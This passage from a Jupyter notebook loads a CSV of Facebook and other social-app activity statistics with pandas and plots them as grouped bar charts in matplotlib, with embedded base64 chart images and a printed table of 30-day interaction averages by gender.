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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB15.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "z = list(df.iloc[:, 2])\n", + "a = list(df.iloc[:, 3])\n", + "b = list(df.iloc[:, 4])\n", + "c = list(df.iloc[:, 5])\n", + "\n", + "N = len(x)\n", + "ind = np.arange(N)\n", + "plt.figure(figsize=(21,10))\n", + "width = 0.09\n", + "\n", + "# Plotting\n", + "plt.figure(figsize=(20,10))\n", + "plt.grid(axis='y', color='g')\n", + "plt.bar(ind, y , width, label='Facebook', color='b')\n", + "plt.bar(ind + width, z, width, label='Instagram',color='r')\n", + "plt.bar(ind + 2*width, a, width, label='Snapchat',color='y')\n", + "plt.bar(ind + 3*width, b, width, label='Pintrest',color='m')\n", + "plt.bar(ind + 4*width, c, width, label='Twitter')\n", + "\n", + "plt.xticks(ind + width / 2, x)\n", + "\n", + "plt.xlabel(\"Activity\")\n", + "plt.ylabel(\"Percentage\")\n", + "plt.title(\"Facebook user activities, vs other apps*\")\n", + "\n", + "# Finding the best position for legends and putting it\n", + "plt.legend(loc='best')\n", + "plt.show()\n" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Average frequency of Facebook interactions" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Activity 30-day_average Male_users Female_users\n", + "0 Pages liked* 1 1 1\n", + "1 Posts liked 11 10 12\n", + "2 Comments 5 4 7\n", + "3 Shares 1 1 1\n", + "4 Ads_clicked 11 9 14\n" + ] + }, + { + "data": { + "text/plain": [ + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "image/png": "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75xzzsn++++/LPQ55phjcu655/bWOffcc3PMMcektZYjjzwyj3nMY/KDH/wgCxcuzLnnnpslS5bMeN0AAADA8AmMVlNVZdNNN02S3HXXXbnrrruWje/z8Y9/PMcdd1yS5LjjjsvHPvaxcbexcOHC7L333jnggANy2mmnLZu/ePHiPPrRj86+++6bfffdN1/5yleSJMcee2w+/vGPL1vvWc96Vi644ILf2+73v//9/OpXv8qb3/zmnHPOOUmSQw45JN/+9rdz/fXXJ0luv/32fPazn82RRx6Zz3/+89loo43ywhe+cNk2dthhh5x44omr+/IAAAAAs5jAaA0sXbo0++yzT7beeusceuihecQjHpFk0L1rm222SZJss802ueGGG8Z9/PHHH5+3v/3tueSSS3rzt95661x44YW59NJL88EPfjAnnXRSkuR5z3tezjjjjCTJrbfemq985SvLupSNdc455+SYY47Jox/96HznO9/JDTfckPXXXz9HH310PvShDyVJLrjgghx00EHZbLPNctVVV2XfffedmhcFAAAAmPUERmtg/fXXz6JFi7JkyZJ8/etfz5VXXjnpx95666255ZZbcuCBByYZtB4addddd+X5z39+9txzzzztaU/Lt771rSTJgQcemO9973u54YYbcs455+SP//iPs8EGG/zets8999w885nPzHrrrZejjz46H/7wh5P0u6WNdkcbz4tf/OLsvffe2X///Sf9fAAAAIB1h8BoCmy++eaZN29ePvWpTyVJ7n//+y/r+nX99ddn6623TjJoUbTPPvvksMMOS2tthZeoP/XUU3P/+98/l112WRYsWJDf/va3y5Yde+yxOfvss3PGGWfk+OOP/73HXn755bnmmmty6KGHZu7cuTn33HOXdUt71KMeleuvvz6XXXZZr3XS7rvvnksvvXTZNk477bR87nOfy4033jgFrw4AAAAw2wiMVtONN96YW265JUlyxx135LOf/Wwe+tCHJkkOP/zwnHXWWUmSs846K0cccUSS5IwzzsiiRYvyP//zP9l8881zn/vcJ1/60peSJGefffaybd96663ZZpttst566+X9739/li5dumzZs5/97PzLv/xLkkHQs7xzzjknJ598chYvXpzFixfnJz/5SX784x/nRz/6UaoqT3/603PcccflsMMOy5w5c5Ikj33sY3PnnXfmne9857Lt3H777VP0SgEAAACzzboTGLU2tbeVuP7663PQQQdlr732yv77759DDz00T37yk5Mkr3rVq3LhhRdm5513zoUXXphXvepV427jjDPOyItf/OIccMAB2XjjjZfNf9GLXpSzzjorj3zkI/Pd73439773vZctu//9759dd9113NZFyaCr2VFHHdWbd9RRRy3rinbMMcfksssuyzOf+cxly6sqH/vYx/KFL3whO+64Yx7+8IfnuOOOy9///d+v9HUAAAAA1j3VJhGODNvIyEhbsGBBb97VV1+dXXfddUgVDc/tt9+ePffcM5deemnuc5/7DKWGe+prDwAAAOuSqlrYWhsZb9m608LoHmC029uJJ544tLAIAAAAWPf9/iW2WGsdcsghufbaa4ddBgAAALCO08IIAAAAgB6BEQAAAAA90xYYVdX7quqGqrpynGUvr6pWVVtO1/4BAAAAWD3T2cLozCRPWH5mVW2f5NAkBuMBAAAAWAtNW2DUWrs4yc3jLDo1ySuTtKncX9XU3ia3z8qxxx67bPruu+/OVlttlSc/+ckTPm7+/PkrXQcAAABgWGb0KmlVdXiSH7fWLquVpDJVdUKSE5JkzhZzMnL6SG/5P+zzD2k3js2cdpvSWr9147dWus7Gm2ycBYsW5NJrL82cjefki5/7Yra4/xb51W9/NeHjF9+yeKXrrM1+ettPc+zpx658RQAAAFiJhbfdNuwSVsl+m2027BJmxIwFRlW1SZLXJHncZNZvrZ2e5PQkGRkZaQtOWNBbfvXVV2fXrXad6jKX2W2rlQdQ69V6OeopR+UHX/9BnvrUp+aU/zklxx97fL74xS9mt612y9e//vW89KUvzR133JGNN944Z5xxRnbZZZfcsPkN2XSjTbPbVrvl17/+dU488cRcccUVufvuu3PyySfniCOOmLbnNRXq55Xlfx8AAACwOmr+/GGXsEoWzJs37BKmTL1gxY15ZvIqaQ9KsmOSy6pqcZLtklxaVX84gzVMuWc+85k599xzc+edd+byyy/PIx7xiGXLHvrQh+biiy/ON7/5zbzpTW/K3/zN3/ze49/ylrfksY99bL7xjW/koosuyite8Yr8+te/nsmnAAAAANAzYy2MWmtXJNl6dLoLjUZaaz+fqRqmw1577ZXFixfnnHPOyWGHHdZbduutt+a4447LNddck6rKXXfd9XuP/8xnPpMLLrgg//iP/5gkufPOO3Pttddm112nr/UUAAAAwESmLTCqqnOSzEuyZVUtSfKG1tp7p2t/w3T44Yfn5S9/eebPn5+bbrpp2fzXve51Oeigg3L++edn8eLFmTdOs7XWWj7ykY9kl112mcGKAQAAAFZsOq+SdkxrbZvW2oatte2WD4taa3Nne+uiUc95znPy+te/PnvuuWdv/q233pptt902SXLmmWeO+9jHP/7xecc73pHWBgN4f/Ob35zWWgEAAABWZibHMJpWrU3tbVVst912eclLXvJ781/5ylfm1a9+dR71qEdl6dKl4z72da97Xe66667stdde2WOPPfK6171udZ4+AAAAwJSptqrpyBCMjIy0BQvGuUqacX6GwmsPAADAVJltV0lr69JV0qoWttZGxlu2zrQwAgAAAGBqCIwAAAAA6BEYAQAAANAjMAIAAACgR2AEAAAAQI/ACAAAAICeDYZdwFSZ6svwTeYyeeuvv3723HPPZdMf+9jHMnfu3CmtY9TcuXOzYMGCbLnlltOyfQAAAIBR60xgNAwbb7xxFi1aNOwyAAAAAKaULmlTbOHChTnwwAOz33775fGPf3yuv/76JMm8efPyspe9LI95zGOy66675hvf+EaOPvro7Lzzznnta1+77PFHHnlk9ttvv+y+++45/fTTx93Hf/3Xf+XhD3949tlnn7zgBS/I0qVLZ+S5AQAAAPcMAqM1cMcdd2SfffbJPvvsk6OOOip33XVXTjzxxJx33nlZuHBhnvOc5+Q1r3nNsvU32mijXHzxxXnhC1+YI444IqeddlquvPLKnHnmmbnpppuSJO973/uycOHCLFiwIG9/+9uXzR919dVX54Mf/GC+/OUvZ9GiRVl//fVz9tlnz+jzBgAAANZtuqStgeW7pF155ZW58sorc+ihhyZJli5dmm222WbZ8sMPPzxJsueee2b33XdftmynnXbKddddly222CJvf/vbc/755ydJrrvuulxzzTXZYostlm3jc5/7XBYuXJj9998/ySC02nrrraf1eQIAAAD3LAKjKdRay+67755LLrlk3OX3ute9kiTrrbfesvuj03fffXfmz5+fz372s7nkkkuyySabZN68ebnzzjt/bx/HHXdc3vrWt07fEwEAAADu0XRJm0K77LJLbrzxxmWB0V133ZWrrrpq0o+/9dZb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